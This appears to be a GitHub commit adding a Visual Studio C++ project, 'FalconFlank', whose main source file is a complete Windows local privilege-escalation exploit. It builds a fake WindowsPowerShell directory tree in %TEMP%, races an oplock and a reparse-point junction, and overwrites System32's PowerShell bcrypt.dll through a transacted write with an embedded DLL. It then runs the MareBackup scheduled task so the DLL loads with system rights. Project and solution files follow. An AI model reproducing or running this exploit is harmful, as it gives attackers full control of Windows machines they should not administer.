Add files via upload

This commit is contained in:
INFINITE NIGHTMARE
2026-09-03 04:55:01 +02:00
committed by GitHub
parent a70f07846f
commit afde5cd3c1
8 changed files with 19978 additions and 0 deletions
+353
View File
@@ -0,0 +1,353 @@
#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <Windows.h>
#include <winioctl.h>
#include <cstring>
#include <string>
#include <winternl.h>
#include <combaseapi.h>
#include <evntprov.h>
#include <vector>
#include <initguid.h>
#include <ole2.h>
#include <taskschd.h>
#include <comdef.h>
#include <ktmw32.h>
#include <conio.h>
#pragma comment(lib, "ole32.lib")
#include "doc.h"
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "ktmw32.lib")
#define ALL_SHARING FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE
#define targetdll L"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bcrypt.dll"
#ifndef IO_REPARSE_TAG_MOUNT_POINT
#define IO_REPARSE_TAG_MOUNT_POINT (0xA0000003L)
#endif
#ifndef FSCTL_SET_REPARSE_POINT_EX
#define FSCTL_SET_REPARSE_POINT_EX \
CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 259, METHOD_BUFFERED, FILE_SPECIAL_ACCESS)
#endif
typedef struct _REPARSE_DATA_BUFFER {
ULONG ReparseTag;
USHORT ReparseDataLength;
USHORT Reserved;
union {
struct {
USHORT SubstituteNameOffset;
USHORT SubstituteNameLength;
USHORT PrintNameOffset;
USHORT PrintNameLength;
ULONG Flags;
WCHAR PathBuffer[1];
} SymbolicLinkReparseBuffer;
struct {
USHORT SubstituteNameOffset;
USHORT SubstituteNameLength;
USHORT PrintNameOffset;
USHORT PrintNameLength;
WCHAR PathBuffer[1];
} MountPointReparseBuffer;
struct {
UCHAR DataBuffer[1];
} GenericReparseBuffer;
} DUMMYUNIONNAME;
} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;
typedef struct _REPARSE_DATA_BUFFER_EX {
ULONG Flags;
ULONG ExistingReparseTag;
GUID ExistingReparseGuid;
ULONGLONG Reserved;
union {
REPARSE_DATA_BUFFER ReparseDataBuffer;
REPARSE_GUID_DATA_BUFFER ReparseGuidDataBuffer;
} DUMMYUNIONNAME;
} REPARSE_DATA_BUFFER_EX, * PREPARSE_DATA_BUFFER_EX;
typedef struct _FILE_RENAME_INFORMATION {
#if (_WIN32_WINNT >= _WIN32_WINNT_WIN10_RS1)
union {
BOOLEAN ReplaceIfExists; // FileRenameInformation
ULONG Flags; // FileRenameInformationEx
} DUMMYUNIONNAME;
#else
BOOLEAN ReplaceIfExists;
#endif
HANDLE RootDirectory;
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_RENAME_INFORMATION, * PFILE_RENAME_INFORMATION;
NTSTATUS(NTAPI* _NtSetInformationFile)(
_In_ HANDLE FileHandle,
_Out_ PIO_STATUS_BLOCK IoStatusBlock,
_In_reads_bytes_(Length) PVOID FileInformation,
_In_ ULONG Length,
_In_ FILE_INFORMATION_CLASS FileInformationClass
) = (NTSTATUS(NTAPI*)(
_In_ HANDLE FileHandle,
_Out_ PIO_STATUS_BLOCK IoStatusBlock,
_In_reads_bytes_(Length) PVOID FileInformation,
_In_ ULONG Length,
_In_ FILE_INFORMATION_CLASS FileInformationClass
))GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtSetInformationFile");
int main()
{
HRESULT hr = S_OK;
ITaskService* pTaskSvc;
hr = CoInitialize(NULL);
SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS);
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
HANDLE hpipe = CreateNamedPipe(L"\\??\\pipe\\FALCONFLANK", PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE, NULL, 1, NULL, NULL, NULL, NULL);
if (hpipe == INVALID_HANDLE_VALUE)
return 1;
wchar_t rptarget[] = { L"\\SystemRoot\\System32\\WindowsPowerShell" };
std::wstring targetPath = rptarget;
const std::wstring substituteName = targetPath;
const std::wstring printName = targetPath;
const USHORT nameBytes = static_cast<USHORT>(
(substituteName.size() + 1 + printName.size() + 1) * sizeof(WCHAR));
// Bytes from the start of MountPointReparseBuffer to its PathBuffer field
// (i.e. the size of its four USHORT header members) — computed instead
// of hardcoded, in case of future struct changes.
const USHORT mountPointHeader = static_cast<USHORT>(
FIELD_OFFSET(REPARSE_DATA_BUFFER, MountPointReparseBuffer.PathBuffer) -
FIELD_OFFSET(REPARSE_DATA_BUFFER, MountPointReparseBuffer));
const USHORT reparseDataLength = static_cast<USHORT>(mountPointHeader + nameBytes);
const size_t exHeaderSize = FIELD_OFFSET(REPARSE_DATA_BUFFER_EX, ReparseDataBuffer);
const size_t rdbHeaderSize = FIELD_OFFSET(REPARSE_DATA_BUFFER, MountPointReparseBuffer.PathBuffer);
const size_t totalSize = exHeaderSize + rdbHeaderSize + nameBytes;
std::vector<BYTE> buffer(totalSize, 0);
auto* rdbEx = reinterpret_cast<PREPARSE_DATA_BUFFER_EX>(buffer.data());
rdbEx->Flags = 0;
rdbEx->ExistingReparseTag = 0; // require the directory to have no reparse tag yet
rdbEx->Reserved = 0;
REPARSE_DATA_BUFFER& rdb = rdbEx->ReparseDataBuffer;
rdb.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
rdb.ReparseDataLength = reparseDataLength;
rdb.Reserved = 0;
auto& mp = rdb.MountPointReparseBuffer;
mp.SubstituteNameOffset = 0;
mp.SubstituteNameLength = static_cast<USHORT>(substituteName.size() * sizeof(WCHAR));
mp.PrintNameOffset = static_cast<USHORT>(mp.SubstituteNameLength + sizeof(WCHAR));
mp.PrintNameLength = static_cast<USHORT>(printName.size() * sizeof(WCHAR));
wchar_t* pathBuf = mp.PathBuffer;
memcpy(pathBuf, substituteName.c_str(), mp.SubstituteNameLength);
pathBuf[substituteName.size()] = L'\0';
BYTE* printDst = reinterpret_cast<BYTE*>(pathBuf) + mp.PrintNameOffset;
memcpy(printDst, printName.c_str(), mp.PrintNameLength);
*reinterpret_cast<wchar_t*>(printDst + mp.PrintNameLength) = L'\0';
GUID guid = { 0 };
OLECHAR* cch;
CoCreateGuid(&guid);
StringFromCLSID(guid, &cch);
IO_STATUS_BLOCK iostat = { 0 };
wchar_t workdir[MAX_PATH] = { 0 };
ExpandEnvironmentStrings(L"\\??\\%TEMP%\\Flanker_", workdir, MAX_PATH);
wcscat(workdir, cch);
UNICODE_STRING _workdirpath = { 0 };
RtlInitUnicodeString(&_workdirpath, workdir);
OBJECT_ATTRIBUTES objattr = { 0 };
InitializeObjectAttributes(&objattr, &_workdirpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
HANDLE hworkdir = NULL;
NTSTATUS stat = NtCreateFile(&hworkdir, GENERIC_ALL | SYNCHRONIZE, &objattr, &iostat, NULL, FILE_ATTRIBUTE_DIRECTORY, ALL_SHARING, FILE_CREATE, FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT, NULL, NULL);
if (stat)
{
printf("Error 0x%0.8X creating work directory %ws\n", stat, workdir);
return 1;
}
iostat = { 0 };
UNICODE_STRING windir = { 0 };
RtlInitUnicodeString(&windir, L"WindowsPowerShell");
OBJECT_ATTRIBUTES objattr2 = { 0 };
InitializeObjectAttributes(&objattr2, &windir, OBJ_CASE_INSENSITIVE, hworkdir, NULL);
HANDLE hwindir = NULL;
stat = NtCreateFile(&hwindir, GENERIC_ALL | SYNCHRONIZE, &objattr2, &iostat, NULL, FILE_ATTRIBUTE_DIRECTORY, ALL_SHARING, FILE_CREATE, FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT, NULL, NULL);
if (stat)
{
printf("Error 0x%0.8X creating windows directory %ws\n", stat, windir.Buffer);
return 1;
}
iostat = { 0 };
UNICODE_STRING sys32 = { 0 };
RtlInitUnicodeString(&sys32, L"v1.0");
OBJECT_ATTRIBUTES objattr3 = { 0 };
InitializeObjectAttributes(&objattr3, &sys32, OBJ_CASE_INSENSITIVE, hwindir, NULL);
HANDLE hsys32dir = NULL;
stat = NtCreateFile(&hsys32dir, GENERIC_ALL | SYNCHRONIZE, &objattr3, &iostat, NULL, FILE_ATTRIBUTE_DIRECTORY, ALL_SHARING, FILE_CREATE, FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT, NULL, NULL);
if (stat)
{
printf("Error 0x%0.8X creating system32 directory %ws\n", stat, sys32.Buffer);
return 1;
}
UNICODE_STRING flankfile = { 0 };
RtlInitUnicodeString(&flankfile, L"bcrypt.dll");
OBJECT_ATTRIBUTES objattr4 = { 0 };
InitializeObjectAttributes(&objattr4, &flankfile, OBJ_CASE_INSENSITIVE, hsys32dir, NULL);
HANDLE hflanker = NULL;
stat = NtCreateFile(&hflanker, GENERIC_ALL | SYNCHRONIZE, &objattr4, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, ALL_SHARING, FILE_SUPERSEDE, FILE_NON_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT, NULL, NULL);
if (stat)
{
printf("Error 0x%0.8X creating %ws\n", stat, flankfile.Buffer);
return 1;
}
DWORD retb = 0;
OVERLAPPED ovp1 = { 0 };
ovp1.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
if (!WriteFile(hflanker, rawData, sizeof(rawData), &retb, &ovp1))
{
if (GetLastError() != ERROR_IO_PENDING) {
printf("Failed to write data to target file, error : %d\n", GetLastError());
return 1;
}
}
OVERLAPPED ovoplock = { 0 };
REQUEST_OPLOCK_INPUT_BUFFER opin = { 0 };
opin.StructureLength = sizeof(opin);
opin.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;
opin.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE;
opin.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST;
REQUEST_OPLOCK_OUTPUT_BUFFER opout = { 0 };
opout.StructureLength = sizeof(opout);
opout.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;
DWORD cb = NULL;
ovoplock.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
if (!DeviceIoControl(hflanker, FSCTL_REQUEST_OPLOCK, &opin, sizeof(opin), &opout, sizeof(opout), &cb, &ovoplock)) {
if (GetLastError() != ERROR_IO_PENDING) {
printf("Failed to create oplock, error : %d\n", GetLastError());
return 1;
}
}
HANDLE hflanker2 = NULL;
stat = NtCreateFile(&hflanker2, GENERIC_READ | SYNCHRONIZE, &objattr4, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, ALL_SHARING, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT, NULL, NULL);
if (stat)
{
printf("Error 0x%0.8X creating %ws\n", stat, flankfile.Buffer);
return 1;
}
CloseHandle(hflanker2);
WaitForSingleObject(ovoplock.hEvent, INFINITE);
CloseHandle(hflanker);
FILE_DISPOSITION_INFO_EX fdiex = { 0 };
fdiex.Flags = 0x1 | 0x2;
do {
stat = _NtSetInformationFile(hsys32dir, &iostat, &fdiex, sizeof(fdiex), (FILE_INFORMATION_CLASS)64);
} while (stat);
CloseHandle(hsys32dir);
bool ret = false;
while (!DeviceIoControl(hwindir, FSCTL_SET_REPARSE_POINT_EX, buffer.data(), static_cast<DWORD>(totalSize), NULL, NULL, NULL, NULL));
Sleep(2000);
HANDLE htrans = CreateTransaction(NULL, NULL, NULL, NULL, NULL, NULL, NULL);
hflanker = CreateFileTransacted(targetdll, GENERIC_READ | GENERIC_WRITE, ALL_SHARING, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL,htrans,NULL,NULL);
if (!hflanker || hflanker == INVALID_HANDLE_VALUE)
{
printf("Exploit failed.\n");
return 0;
}
SetEndOfFile(hflanker);
LARGE_INTEGER li = { 0 };
li.QuadPart = sizeof(FlankerDll);
HANDLE hmap = CreateFileMapping(hflanker, NULL, PAGE_READWRITE, li.HighPart, li.LowPart,NULL);
void* buff = MapViewOfFile(hmap, FILE_MAP_READ | FILE_MAP_WRITE, NULL, NULL, NULL);
memmove(buff, FlankerDll, sizeof(FlankerDll));
FlushFileBuffers(FlankerDll);
CommitTransaction(htrans);
CloseHandle(htrans);
CloseHandle(hflanker);
UnmapViewOfFile(buff);
CloseHandle(hmap);
printf("Exploit succeeded, loading dll, please wait...\n");
if (SUCCEEDED(hr))
{
hr = CoCreateInstance(CLSID_TaskScheduler,
NULL,
CLSCTX_INPROC_SERVER,
IID_ITaskService,
(void**)&pTaskSvc);
if (FAILED(hr))
{
printf("[-] Failed to initialize task scheduler COM server.\n");
CoUninitialize();
return 1;
}
}
else
{
return 1;
}
hr = pTaskSvc->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
if (hr)
{
printf("[-] Failed to connect to task scheduler service, error : 0x%0.8X\n", hr);
return 1;
}
ITaskFolder* taskfolder;
pTaskSvc->GetFolder((BSTR)L"\\Microsoft\\Windows\\Application Experience", &taskfolder);
if (hr)
{
printf("[-] Failed to get task scheduler folder, error : 0x%0.8X\n", hr);
return 1;
}
IRegisteredTask* taskex;
taskfolder->GetTask((BSTR)L"MareBackup", &taskex);
if (hr)
{
printf("[-] Failed to obtain task object, error : 0x%0.8X\n", hr);
return 1;
}
IRunningTask* runningtask;
taskex->Run(_variant_t(), &runningtask);
if (hr)
{
printf("[-] Failed to run scheduled task, error : 0x%0.8X\n", hr);
return 1;
}
if (!ConnectNamedPipe(hpipe, NULL))
{
printf("[-] ConnectNamedPipe failed, error : %d\n", GetLastError());
return 1;
}
CloseHandle(hwindir);
CloseHandle(hworkdir);
Sleep(1000);
DeleteFile(targetdll);
return 0;
}
+31
View File
@@ -0,0 +1,31 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.14.37614.0 d17.14
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FalconFlank", "FalconFlank.vcxproj", "{7F53626F-FA04-477B-9F01-007A32BF86BF}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{7F53626F-FA04-477B-9F01-007A32BF86BF}.Debug|x64.ActiveCfg = Debug|x64
{7F53626F-FA04-477B-9F01-007A32BF86BF}.Debug|x64.Build.0 = Debug|x64
{7F53626F-FA04-477B-9F01-007A32BF86BF}.Debug|x86.ActiveCfg = Debug|Win32
{7F53626F-FA04-477B-9F01-007A32BF86BF}.Debug|x86.Build.0 = Debug|Win32
{7F53626F-FA04-477B-9F01-007A32BF86BF}.Release|x64.ActiveCfg = Release|x64
{7F53626F-FA04-477B-9F01-007A32BF86BF}.Release|x64.Build.0 = Release|x64
{7F53626F-FA04-477B-9F01-007A32BF86BF}.Release|x86.ActiveCfg = Release|Win32
{7F53626F-FA04-477B-9F01-007A32BF86BF}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {033152E3-19E3-44CE-A878-B7AAABB81D14}
EndGlobalSection
EndGlobal
+136
View File
@@ -0,0 +1,136 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>17.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{7f53626f-fa04-477b-9f01-007a32bf86bf}</ProjectGuid>
<RootNamespace>FalconFlank</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="FalconFlank.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="doc.h" />
<ClInclude Include="MiniUsoClient.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
+30
View File
@@ -0,0 +1,30 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="FalconFlank.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="doc.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="MiniUsoClient.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>
+4
View File
@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>
+19424
View File
File diff suppressed because it is too large Load Diff
Binary file not shown.
Binary file not shown.